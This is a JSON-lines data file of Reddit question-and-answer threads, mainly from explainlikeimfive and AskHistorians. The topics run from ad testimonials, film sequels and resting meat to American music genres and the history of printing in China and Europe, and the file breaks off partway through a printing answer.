{"q_id": "fvoy0i", "title": "how do companies get away with saying \u201creal people, not actors\u201d when it\u2019s quite obvious that they are actors?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/fvoy0i/eli5_how_do_companies_get_away_with_saying_real/", "answers": {"a_id": ["fmjnsk2", "fmjoic3", "fmjp0j9", "fmjpdxr"], "score": [21, 14, 5, 4], "text": ["They probably are real people. They were just compensated for their surprised expressions. The company edits out the negative comments.", "A common tactic is to have actors read actual customer testimonials. Since most people react more positively to attractive people, they're getting photogenic people who perform well on camera to read something an actual customer wrote. It's a bit of a splitting hairs situation, but it does make the claim (at least somewhat) truthful. \n\nApart from that, though, there's nobody really taking companies to task about it, and no real mechanism to do so. Frankly, it's generally accepted that most advertising is frequently lies or exaggerations, so it basically boils down to \"you know we know you're lying.\"\n\nIt also doesn't fall under the heading of false advertising (unless they take the statements way too far), so there's no legal avenue to pursue. The closest complaint that could probably stick would be misrepresentation, and given what companies spend on that advertising - and what they make on it - the penalty would be a pittance in comparison even if someone did care enough to try to make a stink about it.", "Even if it looks like they are actors that doesn't necessarily mean they are actors. It's not that hard to make yourself look good when you are the one with the cameras and you get to decide what moments are included or what footage to drop on the floor. Doesn't matter if 90% of their comments and reactions are negative if you choose only to keep 10% of the footage.", "It's pretty easy to get actual people in your ads like this if you want to make it real.  You compensate them and many people are happy and enthusiastic to be in a commercial and do this sorta thing. \"Hey, do you want to be in a TV commercials?! Wow me? Yes thats awesome\".  \n\nObviously you choose the ones that have the best stories, are best on camera, and so on.\n\nYou're thinking about this too hard. The real customer type ad is a very common and old ad."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "35m2pn", "title": "why don't studios fund desired movies like super troopers 2, but paul blart 2 exists?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/35m2pn/eli5_why_dont_studios_fund_desired_movies_like/", "answers": {"a_id": ["cr5nqvs", "cr5pv2k", "cr5qe03", "cr5rlx2", "cr5t9df", "cr5xfpz", "cr5yb82", "cr60j7c", "cr618dg", "cr61gou", "cr61mna", "cr62d3k", "cr639o1", "cr63wj1", "cr63y8x", "cr644f1", "cr64km5", "cr64mrx", "cr64ymw", "cr65ab2", "cr65f88", "cr65ors", "cr65sdi", "cr66cqs", "cr66gns", "cr679mu", "cr67dyk", "cr67gci", "cr67sl7", "cr67uw9", "cr67y5t", "cr69e2m", "cr69s9n", "cr6aad9", "cr6ajif", "cr6awrv", "cr6ayxp", "cr6ch83", "cr6j6qh", "cr6lg94"], "score": [2754, 16, 446, 19, 367, 173, 5, 388, 28, 3, 13, 81, 3, 28, 32, 7, 2, 4, 2, 2, 3, 16, 22, 2, 3, 3, 4, 3, 3, 2, 13, 2, 7, 2, 3, 2, 5, 4, 3, 2], "text": ["Because math? \n\nSuper troopers grossed $18 million at the box office, while Paul Blart 1 grossed almost $150 million. \n\nIf everybody who paid to see Super Troopers 1 also paid to see Super Troopers 2, it would gross $18 million, while if only half the people who saw Paul Blart 1 went on to see 2 at the theaters, it would gross $75 million.  \n\nThe Paul Blart 1 budget was $26 million, and the Super Troopers 1 budget was $3 million.  That means Super Troopers profited $15 million, while Paul Blart 1 profited $124 million.  \n\nThere's a market for small budget / small profit movies, but it doesn't tend to be with the big studios, who generally just play the numbers games and are happy to spend more money to make more money.  It's a bit sad, because $3 million, relatively, seems like a throwaway sum, but when you also factor in the amount of time and energy it requires to make it, and that a movie-maker can only be doing so many things at a single time, it's not to hard to imagine why they wouldn't want to waste their time making $15 million instead of $124 million.  \n\nIf you had a job offer that paid $124 million a year, and another job offer that paid $15 million a year, it would take a lot of convincing to take the lesser job.  Taking it down to real world economics, it's more like comparing a job that makes $124 an hour vs. one that makes $15.  \n\nEdit: Added the bit about profits. \n\nEdit 2: Everybody keeps asking about DVD sales, and all that, and suggesting that Super Troopers blew it away on DVD sales.  I can't find any hard numbers on that, but I found a recent HuffPo article suggesting that Troopers went on to gross somewhere between $65 and $80 million with video sales counted in, which means they did somewhere between $44 and $59 million in video sales all time.  That's great (and news to me), but still doesn't substantially change the numbers, considering that Paul Blart sold $40 million in video sales in its first 5 weeks as well, so those numbers are pretty offsetting. \n\nEdit 3: Flipped numbers around, thanks to /u/Slinkwyde\n\nEdit 4: There is no edit 4. \n\nEdit 5: Thanks to /u/CMMiller89, another big factor here is in risk.  If every one of their movies produced like Troopers, we'd probably be working on Super Troopers 12 already, but Broken Lizard films haven't been reliably successful, with some of their movies making little money, or having been released straight to video. \n\nEdit 6: Club Dread =/= Broken Lizard. Fixed. \n\nEdit 7: Just for /u/prodigyrun", "More people saw the first Paul Blart than the first Super Troopers. So, the studios feel confident that they'd get a better return on their investment with a sequel to a more popular movie.", "One film is about a family friendly, chubby guy who wants to be a cop and has a silly time doing it. \n\nThe other film is about cops fucking foreign women they pull over, dicks, alcohol, and drugs. \n\nOne makes a shit ton of money because you can take your kids and grandma to the movies at 1 in the afternoon to see, and the other you can only take your adult significant other. Family movies are far more profitable than super troopers. \n", "I was in the living room with my girlfriend's family the first time any of us heard about the movie. They were all pretty excited about it (about eight people of varying ages). I imagine that's a pretty normal response.\n\nAnd good for them. Society isn't Reddit. ", " > Isn't it more profitable to make something someone actually wants to see...\n\nLiterally hundreds of thousands more people want to see Paul Blart than Super Troopers 2. I know you liked the movie but that doesn't make it popular.", " > make something someone actually wants to see\n\nwhy are you making the assumption that more people want to see a super troopers sequel than a paul blart one? where did you come up with that?", "If Super Troopers 2 doubled the gross of the original and Paul Blart 2 only grossed HALF the original, you'd still have more than twice the people paying to see Paul Blart. As awful as that is.", "Might as well edit this title to ask \"Why do corporations do things to make money?\"", "But people don't actually want to see Super Troopers. Just because you do, doesn't mean everyone else does. Paul Blart made bank when it came out while Super Troopers needed to be passed around forever where it became a cult classic. If you had a survey asking if they ever heard of this money, can guarantee that everyone will say they have heard of Paul Blart while only few would even know what Super Troopers is.", "For all we know, studios were willing to fund Super Troopers 2, but the Broken Lizard gang felt as though they could have a better (and possibly more profitable) experience by crowd-funding. They essentially cut out the middle man, and now have total control of the creative direction of their movie, and a full cut of the profits. ", "Well in fairness Super Troopers 2 was crowd funded and they decided to go that way for a reason. Studios want to control a lot of aspects of the movie they are funding (which is mostly fair enough). So when a person has a lot of passion for a project they want to protect it gets harder to work with studios who number concern is making a return. So a movie like Paul Blart that everyone saw as an easy check can get chopped and changed to guarantee at least a slight return and no one else in the process really cares as long as they get paid.", " > Isn't it more profitable to make something someone actually wants to see\n\nI feel like you could have avoided this whole ELI5 thread by simply looking at the budget vs. box office money for each original movie.", "This has less to do about funding from producers and more about keeping the producers from messing with the movie. Its been more and more of a trend for actors or groups to get help with funding their own film to prevent producers from putting their say in the final release of the movie.\nIn order to do what they want and have who they want in the film, they have no choice but to fund it themselves.", "Define \"desired\". Plenty of people want to see Paul Blart: Mall Cop 2, but few of them are in Reddit's demographic compared to those who want to see Super Troopers 2.", "Threads like this remind me of how stupid the reddit part of reddit is. Paul Blart is a kid/family movie that makes hundreds of millions. Super Troopers is a cult comedy aimed at young men and only makes a couple million. \n\n\nWhich one is gonna get made? The one that is making $200 million in profit (factoring in ticket sales, merchandising, DVDs, etc) or the one making $30 million. ", "Define \"desired movie.\" What are your metrics? You do realize that Paul Blarth made a shitton of money (metric), but Super Troopers did not (another metric). Now, you and your friends talk about Super Troopers all the time (anecdotal). Which metric would mean more to a production company?", "I think a lot of it has to do with how much it makes opening weekend. So if the movie can become profitable from just those few days they are more likely to want a squeal. Tho heck ICBW", "Totally false premise - the fundraising thing for ***Super Troopers 2*** was entirely a publicity gimmick. \n\nJay Chandrasekhar is on record saying that the original made as much as $85M on home video alone for Fox, yet has never claimed until recently to want to do a sequel. The most probable explanation was that he was too busy being a successful director of other movies (***Dukes of Hazzard*** did $111M from theatrical alone) and TV shows. Plus, Broken Lizard also probably did not want to be viewed as one-trick ponies but as a successful comedy troop who could invent other characters  &  stories. \n\n**Nowhere on the fundraising website do Broken Lizard claim A) that the amount raised is the actual budget or B) that Fox would only make the sequel if the target goal was met.** Those are two big red flags that it was a very smart publicity stunt.  ", "Blartbot\n\nIt's all about money and the studios try their hardest to create blockbusters. Paul Blart made money, Super Troopers did not. Simple.", "Those \"desired\" movies don't make money, while movies like Paul Blart make more money during the first screening than ST2 could ever possibly make.", "There is a huge market in America for overweight, bumbling, accidental heros.  I could probably make up a fairly accurate statistic describing an overwhelming portion of midwesterners who see themselves in Paul Blart's shoes and believe that in spite of their obesity, inexperience and ineptitude that they could conquer evil, if called upon.\n\nedit:  commas for EVERYONE!", "I think part of the reason is that Reddit is a terrible barometer for assessing the wants and desires of the general public. ", "Why does Reddit assume that Super Troopers is such a blockbuster? It's more like a cult film with a very vocal following. I can't think of a single person I know who saw it. ", "PB is about a fat hero. How many Americans are fat? Click.", "I wonder if King of Queens had a contract that ensured more than one movie. So he did Paul Blart, it did X amount of money and because of that they were contractually obligated to do a sequel. \n\nI know Charlie Sheen had something like that with his FX show. It was something crazy like if in the first 12 episodes they maintained a certain level of ratings then the show was picked up for four season or 100 episodes or something nutty. ", "According to Rotten Tomatoes, they're actually about even as far as freshness rating. Which is amazing because I've never met anyone that thought Paul Blart was even remotely noteworthy and I've never met anyone who thought Super Troopers wasn't one of the best comedies of the last 20 years.", "Who else is looking forward to Blartcon? ", "\"Me and my idiot/unfunny friends quote this movie all the time because we can't think of anything amusing to say to each other and never get tired of saying the same joke 50 fucking times. Why doesn't everyone else feel like we do about this movie?\"", "Your use of \"desired\" is misplaced. If desired = demanded, than the movies more \"desired\" should have people \"demanding\" (in economics, 'paying') to see it.\n\nInstead, people \"demand\" Paul Blart 2 much more than they demand another movie. \n\nSo, in reality, the studios do fund desired movies, and you want to know why they don't fund less desired movies.", "I saw super troopers last night high and tipsy. While it does have a 7.1 on imdb there's a reason it's a 35 on rotten tomatoes. ", "\"*Super Troopers 2* is more desired than *Paul Blart 2*\" is just your opinion. Marketing research would probably show otherwise. *PBMC2* also appeals to a much larger demographic. ", "So your telling me there is a Paul blart 2? Mother of god", "I defended Paul Blart in another thread and I'll do it here as well. Movies like Blart serve a purpose-I compared them to the Ernest films in my previous thread. As a kid,there were very few movies that my grandparents felt safe in bringing me to....everything was either stupid animated kiddie movies,or stuff that was too \"adult\" in the eyes of my grandparents-but the ernest movies were something we ALL liked. They were appropriate for kids,grandparents,and anyone else who wanted a safe,non-threatening,family friendly movie. Were they stupid? Oh hell yeah...and so is Blart...but there IS an audience for it. Way more than there is for an exclusively \"adult\" comedy like Super Troopers. ", "Because Super Troopers grossed $18 million.  Plus, its claim to fame has been due in part to a cult following.  Cult followings don't lead to massive profits in sequels.", "PB2 made 90 million. So there are people who want to see it. Kevin James sells tickets. From Chuck and Larry to zookeeper to grown ups, not a single kevin james movie has lost money for the studio.\n\nBroken Lizard on the other hand, had one hit. All there other movies lost the studio money or in the case of beer fest broke even. They have been given many opportunities and have failed to recapture the super trooper magic. \n\nIt's also a 15 year old movie. Comedy sequels usually don't do very good especially after more than 10 years.\n\nMovies are a business. Would you give millions of dollars to someone who consistently gets you a return on your investment? Or would you rather give your money to guys who were only able to pay you back once 15 years ago.\n\nAlso it's super troopers. Pretty low brow stuff. I can see a studio willing to take a loss on a critical darling that might get some Oscar buzz. But super troopers... A guy eats a bar of soap ", "Super troopers have a more limited audience since they are writing their own jokes that they think are funny where as watching Kevin James make a fat guy face and fall down is fun for the whole family.  Also, yeah. Blart grossed a lot more than super troopers.\n\nAnd now I need to go watch super troopers again.", "i don't care what any of them say, super troopers blows paul blart away and i commend you for taking the stand", "Why does Adam Sandler exist and why does he keep making movies that suck so hard?  People are stupid enough to actually pay to see them.", "Because studios desire money, and no matter how many people want a sequel to a good movie to be funded, mindless comedies like Paul Blart and Grown Ups, make more money because of the stupid population of America, which unfortunately is a large portion of the country.", "Coming up next week, \"Why were there fifteen seasons of stupid American Idol but only one season of le gem Firefly?\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "1wt41c", "title": "american football", "selftext": "I'm English and planning on watching the Superbowl tonight, but I have very little knowledge on how American Football actually works, so could someone give me a quick run through in preparation for tonight?\n\nEdit: Obligatory 'thanks guys' edit. But seriously, I was expecting more 'THE WHOLE WORLD SHOULD KNOW HOW TO PLAY FREEDOM BALL BY NOW', but I find these responses both funny and interesting!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1wt41c/eli5_american_football/", "answers": {"a_id": ["cf53xcl", "cf543o1", "cf54ywl", "cf55v68", "cf56blg"], "score": [3, 13, 3, 2, 6], "text": ["When a team reaches the end of the field and celebrates, put your arms up and yell touchdown, then proceed to give people in your general vicinity a high five. ", "Try [this animated video](_URL_0_).", "I find the commercials more entertaining than the football game. Be prepared for watching a bunch of people standing around. \n\nEdit: The first sentence was an opinion. The second sentence was a documented fact. The average playtime for the Super Bowl is around 12 minutes. The rest is commercials, replays and standing around. ", "Don't worry, the UK commentary team is usually pretty good at keeping the novices informed, hopefully nothing too arcane will happen early on (having said that I'm expecting a disallowed safety for roughing the kicker to be overturned on review on the first set of downs).... we also get pretty much the best pundit in any sport anywhere if Mike Carlson is in the seat...", "Ok, quick prep..... you need cheese, I prefer a ball but you can do slices if you like, crackers, chips, something meat such as meatballs or little hot dogs, maybe a big sub sandwich, a veggie tray, some sweets like cookies or brownies are good, a couple of dips (and I don't mean your friends), nuts or something you can rattle like dice before you toss it down, an assortment of soft drinks and alcohol and you're as ready as most Americans.  Pee during play so you don't miss any commercials.  Enjoy."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.youtube.com/watch?v=uE7qVAtNwQk"], [], [], []]}
{"q_id": "7plbcp", "title": "why do meats need to rest after cooking, before carving? what is it about letting them rest away from the heat source that causes the juices to reabsorb?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7plbcp/eli5_why_do_meats_need_to_rest_after_cooking/", "answers": {"a_id": ["dsi6k82", "dsi8gm8"], "score": [66, 11], "text": ["The basic reason is that protein molecules are coil shaped and they 'tighten' up when heated (cooked) and force out moisture. When meat cools, the coils unwind and reabsorb a bit of moisture making the meat juicier. Think of it like ringing out a towel. When you wind the towel up, the moisture is squeezed out. If you lay the towel down, it will unwind and reabsorb some of the water you squeezed out. ", "In addition to the juices thing, there\u2019s also a thing called thermal carryover. For thicker meats, the heat from your cooking source takes a considerable amount of time to make it to the center of the meat. The outside is hotter than the inside (except in the microwave). That heat from the outside works it\u2019s way into the center over time, even after you remove the heat source. If you take meat off of the grill/out of the oven when a probe thermometer says it\u2019s at the \u201cdone\u201d temp, the outside will still cook the inside a little more. \n\nSometimes the carryover can raise the temp more than 5 or 10 degrees, possibly over cooking your food. This effect can be harnessed with practice and planning though. Depending on your meat and your cooking method and temp you can plan for it. A steak at 135 is medium-rare, but if you pull it off the grill at 135 and let it sit, carry over might get it up to 145 (medium) before it stars to cool. Poultry is done at 165, but if you pull a turkey out of the oven when the breast reads 165, you\u2019ll have dry tough meat. \n\nInstead, with practice and experimentation, you can learn the right temp to consider done and let the thermal carryover take you the rest of the way to 165 (double check the final temp for safety!!!).\n\nI cook my turkeys on my pellet grill at 300 and pull them at 155-157. They rest for 30 minutes and coast up to 166-167 in that time. When I used to pull them at 165, they\u2019d get up to 180+, and be super dry and tough.  \n\nBe safe, don\u2019t eat under cooked meats. Always use a thermometer."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "d6ce4y", "title": "AskScience AMA Series: We're Janne Sepp\u00e4nen, Denis Bourguet, and Thomas Guillemaud here to discuss new ideas and solutions to peer review for unpublished research for part 2 of Peer Review Week, ask us anything!", "selftext": "Janne Sepp\u00e4nen (/u/JanneSeppanen):\nI am Janne Sepp\u00e4nen, founder of _URL_1_ , once upon a time a behavioural ecologist, now also research support team lead at University of Jyv\u00e4skyl\u00e4 Open Science Centre, Finland. Firm opinions, loosely held, about peer review, scientific publishing, role of start-up companies in that arena: ask me anything!\n\nDenis Bourguet (/u/denisbourguet):\nI'm Denis Bourguet, a researcher in ecology and evolutionary biology at Inra, France, and I co-founded with Thomas Guillemaud and Benoit Facon the Peer Community in project (_URL_0_). I'm here to answer questions about how peer-review can be self organized by scientists.\n\nThomas Guillemaud (/u/tguille1):\nI'm Thomas Guillemaud, a researcher at Inra Institute, France, working in evolutionary biology. I'm also one of the Peer Community In founders with Denis Bourguet and Benoit Facon.\n\nJanne will be online from 9 AM ET (13 UT) onwards for 5-6 hours relatively constantly, the others will stay for the furst couple of hours and then all will return tomorrow morning to answer more questions. Ask them anything!", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/d6ce4y/askscience_ama_series_were_janne_sepp\u00e4nen_denis/", "answers": {"a_id": ["f0rutif", "f0s2x4w", "f0sl8ax"], "score": [6, 3, 3], "text": ["What can academics, journals, and publishers do to make software, data, checklist, etc. an essential part of a research output that needs to be properly registered and peer-reviewed?", "/u/JanneSeppanen could you explain how peer-review-of-peer-review works? How has it be received so far?", "Alright, let's do it.\n\n(1) how can we compel post-publication peer review? If we leave it to the motivated, and it's seen as a task you do 'if you're interested enough' rather than a component of the scientific process, it will never EVER get done. At all. \n\n(2) commercial for-profit journals - active hindrance to process of peer review reform, or valuable partners?\n\n(3) if you're me and you want data on peer review quality, how would you go about prying it from the hands of a publisher/journal/editor? There's no metrics on this primarily because the data isn't available. The old studies from the BMJ were done primarily because one of the authors of the papers was the damned editor."]}, "title_urls": [], "selftext_urls": ["https://peercommunityin.org", "peerageofscience.org"], "answers_urls": [[], [], []]}
{"q_id": "114xpr", "title": "Are there are any other uniquely American forms of music besides Jazz?", "selftext": "I've always wanted to know.  I see Rock and Roll as an outgrowth of Jump Blues (Hey Ba Ba Re Bop by Lionel Hampton is an example)", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/114xpr/are_there_are_any_other_uniquely_american_forms/", "answers": {"a_id": ["c6jchen", "c6jcq6r", "c6je8gs", "c6jesr6", "c6jf0xc", "c6jfasv", "c6jfbe7", "c6jgekk"], "score": [18, 55, 36, 4, 2, 3, 13, 5], "text": ["Ragtime and Country?", "There are innumerable types of music, especially of the folk variety, that is indigenous to America such as spirituals, blues, barbershop, gospel, ragtime, country, R & B, and soul music. \n\nYou could get even more specific and include Native American music, slave songs, and so forth. ", "House music is an American convention, as is Techno. They originated in Chicago and Detroit respectively. Though the styles were quickly adopted by the Europeans.", "Thrash Metal is pretty much american but is perhaps more specific than you were meaning", "Though the many genres of music that have been pointed out in other comments do all have their genus in American culture, I would like to point out that many of them - as well as jazz - have become popular in other cultures, and have mixed with music from those cultures to form awesome new subgenres themselves.", "The most American of all: ragtime!", "Former DJ and student of pop-culture and history here. \n\nSourcing music is difficult at best because we often notice the first person to do it well. So there's always room for argument.\n\nGiven that, I'd say that you could follow the musical branches up and see where *influence* came from - and have fun doing it.\n\nIn my opinion, most modern pop music forms grow out of the tree of jazz, blues, gospel, and folk music. While one might well argue that jazz, blues and gospel are uniquely American, versions of folk music have been in every musical culture for centuries. I personally would argue that modern rock has more in common with the folk music heritage of Europe than the jazz history of America. \n\nBut then you take something that's blended, like your basic, old, rock music, and *evolve* it into something new like country, rock-a-billy, soul, R & B, alternative, punk, new wave, techno, etc. and you're in a pickle. Where did new wave come from? What about the idea that the best *performers* of new wave are (again, my opinion) from the U.K.? Does that change the heritage?\n\nThen you get into more and more subdivisions of music. AAA alternative versus adult alternative. House vs. trance. One could argue that, say, techno has its roots in Detroit in the late 80s, but House techno got its feet under it in UK clubs. What now?\n\nSee, I knew this would be fun.\n\ntl;dr: That ain't workin. You play the guitar on the MTV. Get your money for nothing.", "Jazz is not actually *purely* American.  There is a heavy Cuban influence in Jazz, as many of the musicians would commute between Havana and New Orleans performing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "2mur5y", "title": "how did r.kelly not go to prison for peeing on a kid?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2mur5y/eli5how_did_rkelly_not_go_to_prison_for_peeing_on/", "answers": {"a_id": ["cm7roj6", "cm7rok7", "cm7rv3m", "cm7rw4z", "cm7uo2u"], "score": [20, 16, 8, 3, 7], "text": ["The prosecution could never prove beyond a reasonable doubt that it was him in the video. But to be honest, if you have seen the video, it's pretty obvious it was him.", "The evidence brought against him at trial failed to convince the jury.  Among other things, the alleged victim denied the allegations in court.", "They couldn't prove the girl in the video was underage.  The underage girl that was probably shown in the video testified that is wasn't her.  Remember, the standard is beyond a reasonable doubt...", "Because he paid a shit load of money for a very good attorney. (See also, O.J. Simpson).", "Because Riley threatened to piss on tom's (r Kelly's defence lawyer) cat if r Kelly went to jail. \n\nSource : boondocks "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "q8ipe", "title": "what are the methods of hermeneutics?", "selftext": "I know that this sounds embarrassing, but I still after all these years am not sure how people attempt to determine the non-obvious meaning of a text. As I did not find something like that on this section, I would really appreciate if you could explain it to me as if I was 5.\n\nTIA", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/q8ipe/eli5_what_are_the_methods_of_hermeneutics/", "answers": {"a_id": ["c3vs2qk"], "score": [2], "text": ["Not an expert, but since nobody else has written:\n\nUnderstanding context. Both the context in which something was written, and the context in which something is read are important.\n\nHow do you determine that there's a non-obvious meaning? By knowing or learning the context.\n\nSo a particular hermaneutic might be: in order to understand the bible better, learning about how nomadic people lived.\n\nIn order to understand Apocalypse Now better, reading and understanding Heart of Darkness. Or, learning about public opinion of why the Vietnam War was lost.\n\nIn order to understand the Second Amendment of the US Constitution, understanding the habits of governments in that period. Or, how people used grammar back then.\n\nEtc."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7v72u6", "title": "In school I was told Gutenberg invented printing, my Chinese friend tells me china already had invented it before", "selftext": "Is it true china already had printing before Gutenberg came up with his system and if so how come it was not adopted in europe?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7v72u6/in_school_i_was_told_gutenberg_invented_printing/", "answers": {"a_id": ["dtq7tv9", "dtqdw98", "dtqiffv"], "score": [69, 1766, 99], "text": ["As a follow up question, was the printing press the result of a series of other technical obstacles being conquered? Was it's invention \"in the air\" similar to how Leibniz and Newton both independently discovered calculus? ", "Your question depends a bit on what you mean by \"printing,\" and the answer is a little bit more complicated than a simple \"yes or no.\" It has, in part, to do with issues outside the simple invention of moveable type itself, especially with regard to the respective alphabets used by China and later, by the Holy Roman Empire, where Johannes Gutenberg, developer of the printing press in Europe, lived. \n\n**China**\n\nFirst, moveable type -- that is, pre-created typographical elements that can be set and used to press a message into a vehicle (usually paper) using an indelible medium (usually ink) -- was indeed invented in China. The inventor and somewhat mysterious figure Bi-Sheng developed the technology, some time between 1041 and 1048 AD, according to the historical essay collection *Dream Pool Essays* by contemporary scholar Shen Kuo:\n\n >  Bi Sheng, a man of unofficial position, made movable type. His method was as follows: he took sticky clay and cut in it characters as thin as the edge of a coin. Each character formed, as it were, a single type. He baked them in the fire to make them hard. He had previously prepared an iron plate and he had covered his plate with a mixture of pine resin, wax, and paper ashes. When he wished to print, he took an iron frame and set it on the iron plate. In this he placed the types, set close together. When the frame was full, the whole made one solid block of type. He then placed it near the fire to warm it. When the paste was slightly melted, he took a smooth board and pressed it over the surface, so that the block of type became as even as a whetstone.\n\n >  For each character there were several types, and for certain common characters there were twenty or more types each, in order to be prepared for the repetition of characters on the same page. When the characters were not in use he had them arranged with paper labels, one label for each rhyme-group, and kept them in wooden cases.\n\n-- Needham, pp. 201-202\n\nHopefully, this fits with what you're thinking of as \"printing.\"\n\nMoveable type is considered one of the [\"Four Great Inventions\" (\u56db\u5927\u53d1\u660e)](_URL_2_) of medieval China, that Chinese students learn about from a young age, so it is no surprise that your friend was familiar with it. \n\n**Europe**\n\nHowever, while moveable type was invented and improved in China (even to the point that early printing presses were developed around the middle of the 13th century) the ancestor of mechanical printing presses and modern printing as we know them were developed in Europe by the goldsmith Johannes Gutenberg, which he based on existing [metal presses](_URL_3_). \n\nGutenberg did not exactly \"invent\" the printing press -- like many innovators, he took existing technologies (and there were descriptions of moveable type from China and Korea that had been brought back to Europe by Gutenberg's time, though it is not clear if he would have seen them), combined and improved them, and eventually came up with something new. However, by far his most important innovation was the development of hand-molded metal printing matrices, which had not yet been developed anywhere else in the world. These allowed for the rapid creation of letters and numbers to be placed in easy settings in the press, and rearranged quickly -- further, the fact that they were cast in metal, rather than carved from porcelain or wood as in East Asia, meant that they were durable and precise, so that many printings could be made before they had to be replaced -- an efficient cost saver compared to other materials. Gutenberg used a special alloy that he invented to cast the matrices, and that alloy (tin, lead, and antimony), remained the standard for the casting of printing matrices for centuries.\n\nThe innovation of a modern, reliable printing press and the hand-molded, metal letter matrices (along with reliable inks), hugely reduced the cost of creating books and other documents in Europe. This caused printing to explode there, [as supply began to drive demand](_URL_1_). \n\n**Alphabets**\n\nA key difference in the progression of the printing press in Europe and China was the respective writing systems of the two regions. Apart from European advancements in metal casting, China had devised all elements of the technology much earlier than the Europeans. However, the relative simplicity of the Roman alphabet meant that printing large, preset pages was easy and efficient, whereas for the Chinese alphabet, woodblock printing remained more efficient due to the thousands of characters and complex arrangements thereof. (*Beckwith, pg. 181*) The Chinese had much of the technology backbone for a printing revolution centuries before Europeans did, but their writing system itself was not as well suited to the mass production techniques developed by the Europeans. \n\nTherefore, the answer to your question isn't so much why the Europeans didn't adopt the Chinese system (they eventually did, in their own way), but why the Chinese did not adopt the European system -- or more accurately, beat the Europeans to it. The answer is in the respective writing systems.\n\nEDIT: To expand on this, let us look at the history of printing in East Asia. Xylography (woodblock printing methods) continued to be by far the most popular method of printing in China and Korea, even for hundreds of years after the advent of Bi Sheng's ceramic method and others like it. Why was this -- why were more permanent methods, like injectable metal printing molds, not developed and used more commonly? Several historians, including Jacques Gernet in his book: *A History of Chinese Civilization* and Christopher Beckwith (cited above, who builds on Gernet) argue that the Chinese alphabet itself is one of the critical reasons -- though not the only one.\n\nAn important thing to understand about the Chinese alphabet is that it is not fixed. Centuries ago, as today, it was possible and not wholly uncommon [to create new characters as they became necessary](_URL_0_) to express a new concept or describe a new thing. This makes the alphabet a constantly fluid and fluctuating thing, unlike the Roman alphabet which (depending on which particular language variant you're using) is more or less locked. \n\nFor example, looking at various historical Chinese dictionaries of characters, we see the growth of the character count from about 10,000 in 100 AD to more than 106,000 in 2004. In the 11th century alone, three different dictionaries written within 50 years of each other list character counts of approximately [26,000](_URL_5_), [31,000](_URL_6_), and [53,500](_URL_4_). \n\nThis huge amount of change and pure scale of the number of characters seems to have kept xylography the printing method of choice, due to its flexibility, expandability, and cost. There was also some endemic intertia here, as the xylographic techniques of Chinese woodcarvers appear to have been quite efficient and cost-effective vis a vis metal or ceramic print making; part of this may have been an issue with simply storing and cataloguing tens of thousands of ceramic molds for use when required -- woodblock carvers could simply make new ones as needed to fill in a rare character here or there, without derailing the entire process. Please see /u/svendskov 's awesome post below for more info on how this worked. \n\nHowever, even woodblock printing was not the most efficient option for the ever-changing and wide-ranging Chinese alphabet, as historian Endymion Wilkinson alludes to in his *Chinese History: A New Manual*:\n\n >  As a result of block-printing technology, it became easier and cheaper to produce multiple copies of books quickly. By the eleventh century, the price of books had fallen by about one tenth what they had been before and as a result they were more widely disseminated. Nevertheless, even in the fifteenth century most books in major libraries were still in manuscript, not in print. Almost to the end of the empire it remained cheaper to pay a copyist than to buy a printed book. Seven hundred and fifty years after the first imperially sponsored printed works in the Northern Song, the greatest book project of the eighteenth century, the Siku quanshu \u56db\u5eab\u5168\u66f8, was produced as a manuscript, not as a printed collection. About 4 percent of it was printed in movable type in 1773, but it was hand-carved movable wooden type. Indeed, the entire collection was only printed for the first time in the 1980s. Access to books, especially large works, such as the Histories, remained difficult right into the twentieth century.\n\nTo be sure, other issues kept printing from flourishing in the Sinosphere. A sense of elitism about calligraphy versus printing for the wealthier book buyers and connoisseurs in Chinese and Korean society kept printed books from achieving cultural status. There is also evidence that Korean nobility kept a monopoly on metal printing techniques and prevented them from proliferating among the people, preventing the press from being widespread even after the adoption of Hangeul as the official alphabet of the Kingdom.\n\nWhile European printers may not have faced similar elitism or constraints on their access to print, a major advantage was their fixed, simple alphabet that lent itself to durable, reusable, and easily stored and catalogued molds.\n\nSources:\n\n* Needham, Joseph - *Science and Civilisation in China: Paper and Printing* (Cambridge, 1985)\n\n* Beckwith, Christopher I. *Empires of the Silk Road: A History of Central Eurasia from the Bronze Age to the Present* (Princeton, 2009)\n\n* He, Zhou \"Diffusion of Movable Type in China and Europe: Why Were There Two Fates?\" International Communication Gazette, 1994\n\n\n", "Since movable type printing has already been discussed in this thread, my post will focus more on the history of woodblock printing in China. Due to the invention of block printing, Chinese print culture emerged several centuries before Gutenberg's lifetime. In fact, block printing arguably had a greater impact on China than movable type.\n\nThe development of printing in China can be traced back to the Tang dynasty (618\u2013907). The exact dating for the origin of woodblock printing is somewhat controversial, ranging from the 6th to 9th centuries depending on the source. The earliest surviving block prints are *sutras* from the 8th century that date from the reign of Wu Zetian, which were found outside of China proper but are believed to have originated from the Tang capital. \n\nBy the 9th century, we begin to see printed materials in Tang China covering a much broader range of topics. The oldest surviving printed calendars, dating from 877 and 882, were excavated in Dunhuang. Liu 